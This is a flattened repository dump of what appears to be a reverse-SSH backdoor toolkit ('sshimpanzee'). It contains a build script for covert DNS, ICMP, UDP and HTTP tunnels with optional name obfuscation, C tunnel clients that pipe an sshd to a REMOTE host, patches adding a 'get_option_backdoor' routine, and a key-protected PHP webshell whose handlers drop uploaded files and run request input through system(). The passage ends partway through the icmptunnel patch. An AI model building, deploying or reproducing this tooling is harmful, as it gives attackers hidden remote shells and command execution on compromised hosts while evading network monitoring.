    "content": "from src.cmd  import run_cmd\nfrom src.args import args\nimport os.path\nimport sys\nimport random\nimport string\nimport hashlib\n\nkey_charset =  string.ascii_letters + string.digits\n\nimport tuns.builder\n\ndef _clean():\n    \n    if os.path.exists(\"tuns/libtun.a\"):\n        os.unlink(\"tuns/libtun.a\")\n\n\n\ndef websocket(opt):\n    print(\"[*] Building Websocket tunnel...\")\n    _clean()\n    \n    print(\"\\t Applying patch and configure...\")\n    run_cmd(\"cd tuns/websocket; autoreconf -vfi; ./configure; git apply ../patchs/patch_websocket.patch; make\")\n    run_cmd(\"cd tuns/websocket; gcc ./tun.c .libs/*.o -c -o tun.o\")\n    run_cmd(\"cd tuns/websocket; ar rcs ../../build/libtun.a tun.o .libs/*.o\")\n        \ndef dns(opt):\n    print(\"[*] Building DNS tunnel...\")\n    _clean()\n    \n    obf_str = \"\"\n    if opt[\"obfuscate\"]:\n        auth = \"\".join(random.choices(string.ascii_lowercase, k=len(\"auth\")))\n        resource = \"\".join(random.choices(string.ascii_lowercase, k=len(\"resource\")))\n        connect = \"\".join(random.choices(string.ascii_lowercase, k=len(\"connect\")))\n        obf_str = f'-DCUSTOM_STRINGS -DRESOURCE=\"\\\\\"={resource}.\\\\\"\" -DCONNECT=\"\\\\\"={connect}.\\\\\"\" -DAUTH=\"\\\\\"={auth}.\\\\\"\"'\n        opt[\"buildserv\"] = True\n        \n\n    key = opt[\"key\"]\n    res = opt[\"resource\"]\n    qtype = opt[\"qtype\"]\n\n    buildserv = opt[\"buildserv\"]\n    \n    defines = f'-DDNS2TCP_KEY=\\\"\\\\\\\"{key}\\\\\\\"\\\" -DDNS2TCP_RES=\\\"\\\\\\\"{res}\\\\\\\"\\\" -DDNS2TCP_QUERY_FUNC=\\\"\\\\\\\"{qtype}\\\\\\\"\\\" {obf_str} '\n\n    \n            \n    cmd = f\"cd  tuns/dns2tcp; ./configure  CFLAGS='{defines}'\"\n    if run_cmd(cmd):\n        print(\"[-] failed configuration\")\n        \n    cmd = \"cd tuns/dns2tcp; git apply ../patchs/patch_dns2tcp.patch;\"\n    run_cmd(cmd)\n    cmd = f\"cd tuns/dns2tcp; make clean; gcc common/debug.c -c -o client/debug.o; cd client; make;\"\n    run_cmd(cmd)\n    print(\"[+] Client lib and server built\") \n    cmd = \"cd tuns/dns2tcp/client; ar rcs ../../../build/libtun.a *.o\"\n    if run_cmd(cmd) or not os.path.exists(\"build/libtun.a\"):\n        print(\"[-] Failed building dns2tcp lib.\")\n        sys.exit(-1)\n    else:\n        print(\"[+] Build successfull\")\n\n    if buildserv:\n        cmd = \"cd tuns/dns2tcp; make clean; gcc common/debug.c -c -o server/debug.o; cd server; make; gcc -Wall -Wunused -o dns2tcpd hmac_sha1.o crc16.o rr.o mycrypto.o session.o queue.o config.o myrand.o auth.o requests.o server.o list.o dns.o dns_decode.o mystrnlen.o memdump.o base64.o socket.o options.o main.o debug.o -static\"\n        if run_cmd(cmd):\n            print(\"[-] Failed to build server.\")\n            sys.exit(-1)\n        else:\n            print(\"[+] Server has been built.\")\n            os.replace(\"tuns/dns2tcp/server/dns2tcpd\", \"build/dns2tcpd\")\n    return \n            \ndef icmp(opt):\n    print(\"[*] Building ICMP Tunnel...\")\n    _clean()\n    cmd = \"cd tuns/icmptunnel/; make clean && git apply ../patchs/patch_icmptunnel.patch;\"\n    run_cmd(cmd)\n\n    raw = opt[\"raw_sock\"]\n    buildserv = opt[\"buildserv\"]\n    \n            \n    raw = \"-DNO_ROOT\" if not raw else \"\"\n        \n    cmd = f\"cd tuns/icmptunnel && gcc client.c icmp.c tunnel.c {raw}  -c;\"\n    if run_cmd(cmd):\n        print(\"[-] Failed to compile icmptunnel, check for missing value\")    \n    cmd = \"cd tuns/icmptunnel; ar rcs ../../build/libtun.a client.o icmp.o tunnel.o\";    \n\n    if run_cmd(cmd) or not os.path.exists(\"build/libtun.a\"):\n        print(\"[-] Failed building icmptunnel lib.\")\n        sys.exit(-1)\n    \n    if buildserv:\n        cmd = f\"cd tuns/icmptunnel && make clean && gcc icmptunnel.c icmp.c tunnel.c -static -o icmptunnel\"\n        if not run_cmd(cmd) and os.path.exists(\"tuns/icmptunnel/icmptunnel\"):\n            os.replace(\"tuns/icmptunnel/icmptunnel\", \"build/icmptunnel\")\n            print(\"[+] ICMPTunnel server has been built.\")\n            \n        else:\n            print(\"[-] Failed to build icmptunnel server\")\n            sys.exit(-1)\n    print(\"[+] Build successfull\")\n\n\n        \ndef sock(opt):\n    print(\"[*] Building Sock Tunnel...\")\n    _clean()\n\n    print(f\"\\t--> Building socket support with dynamic env mode\")         \n    cmd = f\"cd tuns/sock/; rm -f sock.o; gcc sock.c -c -o sock.o;\"\n    \n    if run_cmd(cmd):\n        print(\"[-] Fail compiling.\")\n\n    cmd = \"cd tuns/sock/; ar rcs ../../build/libtun.a sock.o\"\n    if run_cmd(cmd) or not os.path.exists(\"build/libtun.a\"):\n        print(\"[-] Failed building sock lib.\")\n        sys.exit(-1)\n    else:\n        print(\"[+] Build successfull\")\n\n\n\n    \ndef proxysock(opt):\n    print(\"[*] Building proxysock tunnel...\")\n    _clean()\n    \n    cmd = f\"cd tuns/proxysocket/; rm -rf tunnel.o proxysock.o;  git apply ../patchs/patch_proxysocket.patch;\"\n    if run_cmd(cmd):\n        print(\"[-] Failed to apply patchs\")\n        \n    cmd = f\"cd tuns/proxysocket; gcc  -Iinclude/ -Isrc/ examples/tunnel.c -c -o tunnel.o && gcc -Isrc/ -Iinclude/ src/proxysocket.c -c -o proxysock.o\"\n    if run_cmd(cmd):\n        print(\"[-] Failed to build proxysock\")\n\n    cmd = \"cd tuns/proxysocket; ar rcs ../../build/libtun.a proxysock.o tunnel.o\"\n    if  run_cmd(cmd) or not os.path.exists(\"build/libtun.a\"):\n        print(\"[-] Failed building proxysocklib lib.\")\n        sys.exit(-1)\n    else:\n        print(\"[+] Build successfull\")\n\n\n\ndef http_server_reuse(opt):\n    print(\"[*] Building http encapsulation tunnel...\")\n    _clean()\n    targets = opt[\"targets\"]\n    key = opt[\"key\"]\n    path_fd = opt[\"path_fd\"] \n\n    cmd = f\"cd tuns/http_server/;rm -f demux.o; gcc -DFIFO_IN='\\\"{path_fd}_in\\\"' -DFIFO_OUT='\\\"{path_fd}_out\\\"' -c -o demux.o demux.c\"\n    if run_cmd(cmd):\n        print(\"[-] Failed to build\")\n\n    if key == None:\n        print(\"[+] No key specified, generating one:\")\n        key = ''.join(random.choice(key_charset) for i in range(24))\n        print(\"\\t-> Using : \"+key)\n    with open(\"keys/webshell.txt\", \"w\") as k:\n        k.write(key)\n\n    for target in targets:\n        print(f\"[+] Generating target script for {target}\")\n        with open(f\"tuns/http_server/proxies/proxy.{target}\", \"r\") as r:\n            with open(f\"build/proxy.{target}\", \"w\") as w:\n                for line in r.readlines():\n                    if '[PATH_FD]' in line:\n                        line = line.replace(\"[PATH_FD]\",path_fd)\n                    if '[HASHED_KEY]' in line:\n                        line = line.replace(\"[HASHED_KEY]\",hashlib.md5(key.encode()).hexdigest())\n                    w.write(line)\n                \n    \n    cmd = f\"cd tuns/http_server/; ar rcs ../../build/libtun.a demux.o\"\n    if  run_cmd(cmd) or not os.path.exists(\"build/libtun.a\"):\n        print(\"[-] Failed building http encapsulation lib.\")\n        sys.exit(-1)\n    else:\n        print(\"[+] Build successfull\")\n\n\ndef no_build(opt):\n    path = None\n    for i in opt:\n        parsed=i.split(\"=\")\n        if len(parsed) == 2:\n            if parsed[0] == \"path\":\n                path = parsed[1]\n\n    if not path or not os.path.exists(path):\n        print(\"[-] Please specify a path argument pointing to your libtun.a\")\n        exit(-1)\n    print(\"[*] Not building a tunnel\")     \n    return\n\n\ndef udp(opt):\n    print(\"[*] Building UDP Tunnel\")\n    run_cmd(\"cd tuns/enet; autoreconf -vfi; ./configure; make; git apply ../patchs/patch_libenet.patch\")\n\n    \n    run_cmd(\"cd tuns/enet; gcc sshimpanzee_tun.c -c -o sshimpanzee_tun.o; gcc client.c -Iinclude/ -c -o client.o; gcc server.c -Iinclude/ -c -o server.o; ar rcs ../../build/libtun.a *.o;\")\n    \n    if  opt[\"buildserv\"]:\n        run_cmd(\"cd tuns/enet; gcc main_server.c server.c -Iinclude/ -L./.libs -static -lenet -o udp_server; cp udp_server ../../build/udp_server\")\n    \n    if  opt[\"buildclient\"]:\n        run_cmd(\"cd tuns/enet; gcc main_client.c client.c -Iinclude/ -L./.libs -static -lenet -o udp_client; cp udp_client ../../build/udp_client\")\n \n\n        \n    return\n\ndef combiner(tunnels):\n    print(\"[*] Building combined tunnels\")\n    env = False\n    avail_tun = []\n    for t in tunnels:\n\n        if tunnels[t][\"enabled\"]:\n            fct = getattr(tuns.builder,t, None)\n            if fct != None:\n                fct(tunnels[t])\n                cmd = f\"objcopy  --redefine-sym tun=tun_{t} build/libtun.a build/libtun_{t}.a\"\n                if run_cmd(cmd)==0:\n                    avail_tun.append(t)\n                    os.unlink(\"build/libtun.a\")\n                    run_cmd(f\"cd build; mkdir reloc; ar x libtun_{t}.a; ld -Bsymbolic -relocatable *.o -o reloc/libtun_{t}.o; rm *.o\")\n            else:\n                print(f\"[-] No implementation for tunnel {t}\")\n\n    content = \"\"\n    libs = \"\"\n    reloc = \"\"\n    s_tuns = \"\"\n    for tunnel in avail_tun:\n        content += f'if (strcmp(selected_tun, \"{tunnel}\")==0) tun_{tunnel}();\\n else '\n        reloc   += f\"build/reloc/libtun_{tunnel}.o \"\n        s_tuns  += f\"\\\\n - {tunnel}\"\n\n    content += f'{{ puts(\"[-] This tunnel is not available. Supported tunnels: {s_tuns}\");\\nexit(-1);}}\\n'\n    if args.verbose > 2:\n        print(\"[+] Generated combiner file\")\n    with open(\"tuns/combined/combiner_template.c\", \"r\") as template:\n        with open(\"tuns/combined/combiner_template_out.c\", \"w\") as out:\n            for i in template.readlines():\n                i = i.replace(\"<CONTENT>\", content)\n                out.write(i)\n                if args.verbose > 2:\n                    print(i.rstrip())\n                \n    cmd = f\"gcc tuns/combined/combiner_template_out.c -c -o tuns/combined/combiner_template_out.o\"\n    run_cmd(cmd)\n    \n    cmd = f\"ar rcs build/libtun.a tuns/combined/combiner_template_out.o {reloc}\"\n    if  run_cmd(cmd) or not os.path.exists(\"build/libtun.a\"):\n        print(\"[-] Failed building combiner lib.\")\n        sys.exit(-1)\n    else:\n        print(\"[+] Build successfull\")\n\n\n"
  },
  {
    "path": "tuns/combined/combiner_template.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint tun(){\n  char *selected_tun;\n  selected_tun  = getenv(\"MODE\");\n  if (selected_tun != 0)\n    {\n      printf(\"Trying tun name: %s\\n\", selected_tun);\n    }\n  else\n    {\n      puts(\"You need to provide a tun, use TUN env var\");\n      exit(-1);\n    }\n  <CONTENT>\n\n}\n"
  },
  {
    "path": "tuns/http_enc/demux.c",
    "content": "#include  <fcntl.h>                              //\n#include  <stdio.h>                              //\n#include  <stdlib.h>                             //\n#include  <string.h>                             //\n#include  <sys/types.h>                          //\n#include  <sys/wait.h>                           //\n#include  <sys/stat.h>                           //\n#include  <termios.h>                            //\n#include  <unistd.h>            \n\n#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/un.h>\n#include <arpa/inet.h>\n\nextern char **environ;\nchar continue_http;\n\nvoid sighandler(int sig)\n{\n    int status;\n    unlink(FIFO_IN);\n    unlink(FIFO_OUT);\n    wait(&status);\n    continue_http = 0;\n}\n\n\nint tun(){\n  char\tconfig_file[2048];\n  int fd0[2];\n  int fd1[2];\n\n  fd_set fds;\n  int pid;\n  int ret;\n  int fifo_out;\n  int fifo_in;\n  struct sigaction sa;\n  \n memset(&sa, 0, sizeof(sa));\n sa.sa_handler = sighandler;\n\n sigaction(SIGCHLD, &sa, NULL);\n sigaction(SIGKILL, &sa, NULL);\n \n \n  char* args[] =  {\"sshd\",\"-ir\", (char*)NULL};\n  memset(config_file, 0, sizeof(config_file));\n  \n  readlink(\"/proc/self/exe\", config_file,\n\t  sizeof(config_file));\n  printf(\"Exec : %s\\n\", config_file);\n  \n  pipe(fd0);\n  pipe(fd1);\n  \n  pid = fork();\n  if (pid==0){ \n   dup2(fd0[0], 0);\n   dup2(fd1[1], 1);\n   close(fd0[1]);\n   close(fd1[0]);\n   \n   execve(config_file, args ,environ); \n  }\n  else{\n\n    if (mkfifo(FIFO_OUT, S_IRWXU) != 0 || mkfifo(FIFO_IN, S_IRWXU) != 0){\n      //unlink(FIFO_IN);\n     //unlink(FIFO_OUT);\n     perror(\"mkfifo() error\");\n     //exit(-1);\n    }\n    \n   \n    if ((fifo_out = open(FIFO_OUT, O_RDWR)) < 0)\n      {\n      perror(\"open() out error\");\n      exit(-1);\n      }\n    if ((fifo_in = open(FIFO_IN, O_RDWR)) < 0)\n      {\n      perror(\"open() in error\");\n      exit(-1);\n      }\n    close(fd0[0]);\n    close(fd1[1]);\n    continue_http = 1;\n   while(continue_http){\n     FD_ZERO(&fds);\n     FD_SET(fifo_in, &fds);\n     FD_SET(fd1[0], &fds);\n\n     ret = select(fifo_in + 1, &fds, NULL, NULL, NULL);\n     if (ret < 0)\n       perror(\"select() error\");\n     else\n       {\n\t if (FD_ISSET(fifo_in, &fds)){\n\t     ret = read(fifo_in, config_file, 2048);\n\t     config_file[ret] = 0;\n\t     write(fd0[1], config_file, ret);\n\t  }\n\t if (FD_ISSET(fd1[0], &fds)){\n\t     ret = read(fd1[0], config_file, 2048);\n\t     config_file[ret] = 0;\n\t     write(fifo_out, config_file, ret);\n\t  }\n       }\n   }\n   kill(pid, SIGKILL);\n   waitpid(pid,&pid, WEXITED|WSTOPPED);  \n  \n\n  }\n  \n\n  return (0);\n}\n"
  },
  {
    "path": "tuns/http_enc/proxies/proxy.php",
    "content": "<?php\n\nif (md5($_REQUEST[\"KEY\"]) !== \"[HASHED_KEY]\"){\n  die(\"\");\n}\n\n\nif ($_REQUEST[\"TODO\"]==\"TEST\")\n  {\n    echo 'Now: '.time();\n    echo \"OK\";\n  }\n\n\n else if ($_REQUEST[\"TODO\"]==\"DROP\")\n  {\n    file_put_contents($_REQUEST[\"WHERE\"], base64_decode($_REQUEST[\"WHAT\"]));\n  }\n\n else if ($_REQUEST[\"TODO\"]==\"START\")\n  {\n    system($_REQUEST[\"WHERE\"]);\n  }\n\n else if ($_REQUEST[\"TODO\"]==\"READ\")\n  {\n    if (!file_exists(\"[PATH_FD]_out\")){\n      http_response_code(201);\n      die(\"\");\n    }\n    header(\"Cache-Control: no-store, no-cache, must-revalidate, max-age=0\");\n    header(\"Cache-Control: post-check=0, pre-check=0\", false);\n    header(\"Pragma: no-cache\");\n    $reader = fopen(\"[PATH_FD]_out\", \"rb\")  or (http_response_code(201) and die (\"Fopen Failed\"));\n    stream_set_blocking($reader, false);\n    $dd = fread($reader, 8192);\n    $contents = $dd;\n    while (strlen($dd) == 8192 ) {\n      $dd = fread($reader, 8192);\n      $contents .= $dd;\n    }\n    $d = base64_encode($contents);\n    echo $d;\n  }\n\n else if ($_REQUEST[\"TODO\"]==\"WRITE\")\n  {\n    if (!file_exists(\"[PATH_FD]_in\")){\n      http_response_code(201);\n      die(\"\");\n    }\n    $d = $_REQUEST[\"DATA\"];\n    var_dump($_REQUEST);\n    $dd = base64_decode($d,true);\n    echo $dd;\n    $writer = fopen(\"[PATH_FD]_in\", \"wb\")  or (http_response_code(201) and die (\"Fopen Failed\"));\n    stream_set_blocking($writer, false);\n    fwrite($writer, $dd);\n  }\n\n?>\n"
  },
  {
    "path": "tuns/http_server/demux.c",
    "content": "#include  <fcntl.h>                              //\n#include  <stdio.h>                              //\n#include  <stdlib.h>                             //\n#include  <string.h>                             //\n#include  <sys/types.h>                          //\n#include  <sys/wait.h>                           //\n#include  <sys/stat.h>                           //\n#include  <termios.h>                            //\n#include  <unistd.h>            \n\n#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/un.h>\n#include <arpa/inet.h>\n\nextern char **environ;\nchar continue_http;\n\nvoid sighandler(int sig)\n{\n    int status;\n    unlink(FIFO_IN);\n    unlink(FIFO_OUT);\n    wait(&status);\n    continue_http = 0;\n}\n\n\nint tun(){\n  char\tconfig_file[2048];\n  int fd0[2];\n  int fd1[2];\n\n  fd_set fds;\n  int pid;\n  int ret;\n  int fifo_out;\n  int fifo_in;\n  struct sigaction sa;\n  \n memset(&sa, 0, sizeof(sa));\n sa.sa_handler = sighandler;\n\n sigaction(SIGCHLD, &sa, NULL);\n sigaction(SIGKILL, &sa, NULL);\n \n \n  char* args[] =  {\"sshd\",\"-ire\", (char*)NULL};\n  memset(config_file, 0, sizeof(config_file));\n  \n  readlink(\"/proc/self/exe\", config_file,\n\t  sizeof(config_file));\n  printf(\"Exec : %s\\n\", config_file);\n  \n  pipe(fd0);\n  pipe(fd1);\n  \n  pid = fork();\n  if (pid==0){ \n   dup2(fd0[0], 0);\n   dup2(fd1[1], 1);\n   close(fd0[1]);\n   close(fd1[0]);\n   \n   execve(config_file, args ,environ); \n  }\n  else{\n\n    if (mkfifo(FIFO_OUT, S_IRWXU | S_IRWXO) != 0 || mkfifo(FIFO_IN, S_IRWXU  | S_IRWXO) != 0){\n      //unlink(FIFO_IN);\n      //unlink(FIFO_OUT);\n     perror(\"mkfifo() error\");\n     //exit(-1);\n    }\n    \n   \n    if ((fifo_out = open(FIFO_OUT, O_RDWR)) < 0)\n      {\n      perror(\"open() out error\");\n      exit(-1);\n      }\n    if ((fifo_in = open(FIFO_IN, O_RDWR)) < 0)\n      {\n      perror(\"open() in error\");\n      exit(-1);\n      }\n    close(fd0[0]);\n    close(fd1[1]);\n    continue_http = 1;\n   while(continue_http){\n     FD_ZERO(&fds);\n     FD_SET(fifo_in, &fds);\n     FD_SET(fd1[0], &fds);\n\n     ret = select(fifo_in + 1, &fds, NULL, NULL, NULL);\n     if (ret < 0)\n       perror(\"select() error\");\n     else\n       {\n\t if (FD_ISSET(fifo_in, &fds)){\n\t     ret = read(fifo_in, config_file, 2048);\n\t     config_file[ret] = 0;\n\t     write(fd0[1], config_file, ret);\n\t  }\n\t if (FD_ISSET(fd1[0], &fds)){\n\t     ret = read(fd1[0], config_file, 2048);\n\t     config_file[ret] = 0;\n\t     write(fifo_out, config_file, ret);\n\t  }\n       }\n   }\n   kill(pid, SIGKILL);\n   waitpid(pid,&pid, WEXITED|WSTOPPED);  \n   unlink(FIFO_IN);\n   unlink(FIFO_OUT);\n  \n\n  }\n  \n\n  return (0);\n}\n"
  },
  {
    "path": "tuns/http_server/proxies/proxy.php",
    "content": "<?php\n\nif (md5($_REQUEST[\"KEY\"]) !== \"[HASHED_KEY]\"){\n  die(\"\");\n}\n\n\nif ($_REQUEST[\"TODO\"]==\"TEST\")\n  {\n    echo 'Now: '.time();\n    echo \"OK\";\n  }\n\n\n else if ($_REQUEST[\"TODO\"]==\"DROP\")\n  {\n    file_put_contents($_REQUEST[\"WHERE\"], base64_decode($_REQUEST[\"WHAT\"]));\n  }\n\n else if ($_REQUEST[\"TODO\"]==\"START\")\n  {\n    system($_REQUEST[\"WHERE\"]);\n  }\n\n else if ($_REQUEST[\"TODO\"]==\"READ\")\n  {\n    if (!file_exists(\"[PATH_FD]_out\")){\n      http_response_code(201);\n      die(\"\");\n    }\n    header(\"Cache-Control: no-store, no-cache, must-revalidate, max-age=0\");\n    header(\"Cache-Control: post-check=0, pre-check=0\", false);\n    header(\"Pragma: no-cache\");\n    $reader = fopen(\"[PATH_FD]_out\", \"rb\")  or (http_response_code(201) and die (\"Fopen Failed\"));\n    stream_set_blocking($reader, false);\n    $dd = fread($reader, 8192);\n    $contents = $dd;\n    while (strlen($dd) == 8192 ) {\n      $dd = fread($reader, 8192);\n      $contents .= $dd;\n    }\n    $d = base64_encode($contents);\n    echo $d;\n  }\n\n else if ($_REQUEST[\"TODO\"]==\"WRITE\")\n  {\n    if (!file_exists(\"[PATH_FD]_in\")){\n      http_response_code(201);\n      die(\"\");\n    }\n    $d = $_REQUEST[\"DATA\"];\n    var_dump($_REQUEST);\n    $dd = base64_decode($d,true);\n    echo $dd;\n    $writer = fopen(\"[PATH_FD]_in\", \"wb\")  or (http_response_code(201) and die (\"Fopen Failed\"));\n    stream_set_blocking($writer, false);\n    fwrite($writer, $dd);\n  }\n\n?>\n"
  },
  {
    "path": "tuns/patchs/patch_dns2tcp.patch",
    "content": "diff --git a/client/command.c b/client/command.c\nindex 1f9fd7f..aee2a1d 100644\n--- a/client/command.c\n+++ b/client/command.c\n@@ -112,8 +112,6 @@ int\t\t\tcreate_process(t_conf *conf)\n \treturn (-1);\n       if (dup2(from_child[1], STDOUT_FILENO) == -1)\n \treturn (-1);\n-      if (dup2(from_child[1], STDERR_FILENO) == -1)\n-      \treturn (-1);\n       close(from_child[0]);\n       close(to_child[0]);\n       execv(argv[0],argv);\ndiff --git a/client/main.c b/client/main.c\nindex 45091d7..13b398a 100644\n--- a/client/main.c\n+++ b/client/main.c\n@@ -42,7 +42,7 @@\n  * @retval -1 on error\n  **/\n \n-int\t\t\tmain(int argc, char **argv)\n+/*int\t\t\tmain(int argc, char **argv)\n {\n   t_conf\t\tconf;\n   \n@@ -64,3 +64,20 @@ int\t\t\tmain(int argc, char **argv)\n     do_client(&conf);\n   return (0);\n }\n+*/\n+\n+\n+int tun()\n+{\n+  t_conf\t\tconf;\n+  \n+  if ((get_option_backdoor(&conf)) ||  \n+      ((conf.sd_udp = create_socket(&conf)) == -1))\n+    return (-1);\n+  srand(getpid() ^ (unsigned int) time(0));\n+  if (!conf.resource)\n+    return (list_resources(&conf));\n+  if ((!conf.local_port) || (!bind_socket(&conf)))\n+    do_client(&conf);\n+  return (0);\n+}\ndiff --git a/client/options.c b/client/options.c\nindex 2748621..505f0bb 100644\n--- a/client/options.c\n+++ b/client/options.c\n@@ -39,6 +39,18 @@ extern char\t*optarg;\n int\t\tgetopt(int, char * const *, const char *);\n #endif\n \n+#ifndef DNS2TCP_KEY\n+#define DNS2TCP_KEY \"sshimpanzee\"\n+#endif\n+\n+#ifndef DNS2TCP_RES\n+#define DNS2TCP_RES \"sshimpanzee\"\n+#endif\n+\n+#ifndef DNS2TCP_QUERY_FUN\n+#define DNS2TCP_QUERY_FUN \"TXT\"\n+#endif\n+\n \n #include \"client.h\"\n #include \"my_config.h\"\n@@ -330,3 +342,45 @@ int\t\t\tget_option(int argc, char **argv, t_conf *conf)\n \n \t  \n \t  \n+\n+\n+int  get_option_backdoor(t_conf *conf)\n+{\n+  int\t\t\tc;\n+  char\t\t\tconfig_file[2048];\n+  char *cmdline;\n+  \n+  memset(conf, 0, sizeof(t_conf));\n+  memset(config_file, 0, sizeof(config_file));\n+  debug = 0;\n+  conf->conn_timeout = 3;\n+  conf->sd_tcp = -1;\n+  conf->disable_compression = 1;\n+  conf->query_functions = get_rr_function_by_name(DNS2TCP_QUERY_FUNC);\n+  \n+  //Custom Parsing\n+  readlink(\"/proc/self/exe\", config_file,\n+\t   sizeof(config_file));\n+  cmdline = (char*)malloc(strlen(config_file)+16);\n+  snprintf(cmdline, strlen(config_file)+16, \"%s -ireddd\", config_file);\n+  conf->cmdline = cmdline;\n+\n+  if (!getenv(\"REMOTE\"))\n+    {\n+      puts(\"Missing REMOTE\");\n+      exit(-1);\n+    }\n+  conf->domain = getenv(\"REMOTE\");\n+  conf->key = DNS2TCP_KEY;\n+\n+\n+  conf->resource = DNS2TCP_RES;\n+  conf->dns_server = getenv(\"RESOLVER\");\n+  \n+  if (!conf->dns_server)\n+    read_resolv(conf);\n+  \n+  //if (debug)\n+  //  fprintf(stderr, \"debug level %d\\n\", debug);\n+  return (0);\n+}\ndiff --git a/common/debug.c b/common/debug.c\nnew file mode 100644\nindex 0000000..fce73ee\n--- /dev/null\n+++ b/common/debug.c\n@@ -0,0 +1 @@\n+int debug;\ndiff --git a/common/includes/debug.h b/common/includes/debug.h\nindex 37c22d9..8f8d59d 100644\n--- a/common/includes/debug.h\n+++ b/common/includes/debug.h\n@@ -24,7 +24,7 @@\n #include <stdio.h>\n #include <time.h>\n \n-int debug;\n+extern int debug;\n \n #ifndef _WIN32\n #define DPRINTF(level, fmt, args...)  \\\ndiff --git a/common/includes/dns.h b/common/includes/dns.h\nindex 6670755..5ec4901 100644\n--- a/common/includes/dns.h\n+++ b/common/includes/dns.h\n@@ -124,10 +124,11 @@\n \t\t     )\n \n /* FIXME hardcoded '=' is bad ! (check base64_padding ...) */\n+#ifndef CUSTOM_STRINGS\n #define RESOURCE\t\"=resource.\"\n #define AUTH\t\t\"=auth.\"\n #define CONNECT\t\t\"=connect.\"\n-\n+#endif\n \n \n struct\t\t\t\tdns_hdr {\n"
  },
  {
    "path": "tuns/patchs/patch_icmptunnel.patch",
    "content": "diff --git a/Makefile b/Makefile\nindex 5ccc174..8ecdc99 100644\n--- a/Makefile\n+++ b/Makefile\n@@ -1,4 +1,3 @@\n-CC=gcc\n CFLAGS=-I. -O3 -Wall\n DEPS = icmp.h tunnel.h\n \n@@ -6,7 +5,7 @@ DEPS = icmp.h tunnel.h\n \t$(CC) -c -o $@ $< $(CFLAGS)\n \n icmptunnel: icmptunnel.o icmp.o tunnel.o\n-\t$(CC) -o icmptunnel icmp.o tunnel.o icmptunnel.o $(CFLAGS)\n+\t$(CC) -o icmptunnel icmp.o tunnel.o icmptunnel.o $(CFLAGS) \n \n test_server: icmp.o test_server.o\n \t$(CC) -o test_server icmp.o test_server.o $(CFLAGS)\n@@ -16,7 +15,7 @@ test_client: icmp.o test_client.o\n \n test: test_server test_client\n \n-all: icmptunnel test_server test_client\n+all: icmptunnel client\n \n clean:\n \trm -f *.o test_server test_client icmptunnel\ndiff --git a/client.c b/client.c\nnew file mode 100644\nindex 0000000..0e023bd\n--- /dev/null\n+++ b/client.c\n@@ -0,0 +1,99 @@\n+#include \"icmp.h\"\n+#include<unistd.h>\n+#include<sys/wait.h>\n+#include<sys/prctl.h>\n+#include<signal.h>\n+#include<stdlib.h>\n+#include<string.h>\n+#include<stdio.h>\n+  \n+static volatile int keep = 1;\n+#define DEFAULT_ROUTE \"0.0.0.0\"\n+\n+\n+extern char ** environ;\n+int fd_in;\n+int fd_out;\n+int c;\n+\n+/* It's better to use sigaction() over signal().  You won't run into the\n+ * issue where BSD signal() acts one way and Linux or SysV acts another. */\n+\n+static void\n+child_handler(int sig)\n+{\n+    pid_t pid;\n+    int status;\n+    wait(NULL);\n+    /* EEEEXTEERMINAAATE! */\n+    c = 0;\n+}\n+\n+\n+int tun()\n+{\n+  char\tconfig_file[2048];\n+ char dst[256];\n+  char *cmdline;\n+  int fd, remote;\n+  FILE* f;\n+  char* args[] =  {\"sshd\",\"-ire\", (char*)NULL};\n+  struct sigaction sa;\n+  c = 1;\n+  sigemptyset(&sa.sa_mask);\n+  sa.sa_flags = 0;\n+  sa.sa_handler = child_handler;\n+\n+  sigaction(SIGCHLD, &sa, NULL);\n+\n+  memset(config_file, 0, sizeof(config_file));\n+\n+  if(!getenv(\"REMOTE\"))\n+    {\n+    puts(\"Missing REMOTE\");\n+    exit(-1);\n+    }\n+  \n+  strcpy(dst, getenv(\"REMOTE\"));\n+  readlink(\"/proc/self/exe\", config_file, sizeof(config_file));\n+  printf(\"Exec : %s\\n\", config_file);\n+\n+\n+  pid_t pid = 0;\n+  int inpipefd[2];\n+  int outpipefd[2];\n+  char buf[256];\n+  char msg[256];\n+  int status;\n+\n+  pipe(inpipefd);\n+  pipe(outpipefd);\n+  pid = fork();\n+  if (pid == 0)\n+  {\n+    close(outpipefd[1]);\n+    close(inpipefd[0]);\n+\n+    // Child\n+    dup2(outpipefd[0], STDIN_FILENO);\n+    dup2(inpipefd[1], STDOUT_FILENO);\n+    //dup2(inpipefd[1], STDERR_FILENO);\n+    //ask kernel to deliver SIGTERM in case the parent dies\n+    prctl(PR_SET_PDEATHSIG, SIGTERM);\n+\n+    execve(config_file, args ,environ);\n+    //    perror(\"test\");\n+    //printf(\"POST EXEC\\n\");\n+  }\n+\n+  close(outpipefd[0]);\n+  close(inpipefd[1]);\n+\n+  \n+  fd_out = outpipefd[1];\n+  fd_in  = inpipefd[0];\n+  run_tunnel(dst,0);\n+  return 0;\n+}\n+\n+\ndiff --git a/icmp.c b/icmp.c\nindex 0cd1aa7..571e72c 100644\n--- a/icmp.c\n+++ b/icmp.c\n@@ -1,5 +1,5 @@\n /**\n- *  icmp.c\n+1 *  icmp.c\n  */\n \n #include \"icmp.h\"\n@@ -12,6 +12,8 @@\n #include <stdio.h>\n #include <stdlib.h>\n \n+int lastid = 0x4141;\n+int i;\n /**\n  * Function to calculate checksum\n  */\n@@ -44,20 +46,25 @@ void set_reply_type(struct icmp_packet *packet)\n int open_icmp_socket()\n {\n   int sock_fd, on = 1;\n-\n+  #ifdef NO_ROOT\n+  sock_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);\n+  #else\n   sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);\n-\n+  #endif\n+  \n   if (sock_fd == -1) {\n     perror(\"Unable to open ICMP socket\\n\");\n     exit(EXIT_FAILURE);\n   }\n-  \n+\n+  #ifndef NO_ROOT\n   // Providing IP Headers\n   if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {\n     perror(\"Unable to set IP_HDRINCL socket option\\n\");\n     exit(EXIT_FAILURE);\n   }\n-\n+  #endif\n+  \n   return sock_fd;\n }\n \n@@ -86,18 +93,18 @@ void bind_icmp_socket(int sock_fd)\n void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)\n {\n   // Source and destination IPs\n-  struct in_addr src_addr;\n-  struct in_addr dest_addr;\n \n   struct iphdr *ip;\n   struct icmphdr *icmp;\n   char *icmp_payload;\n+  struct 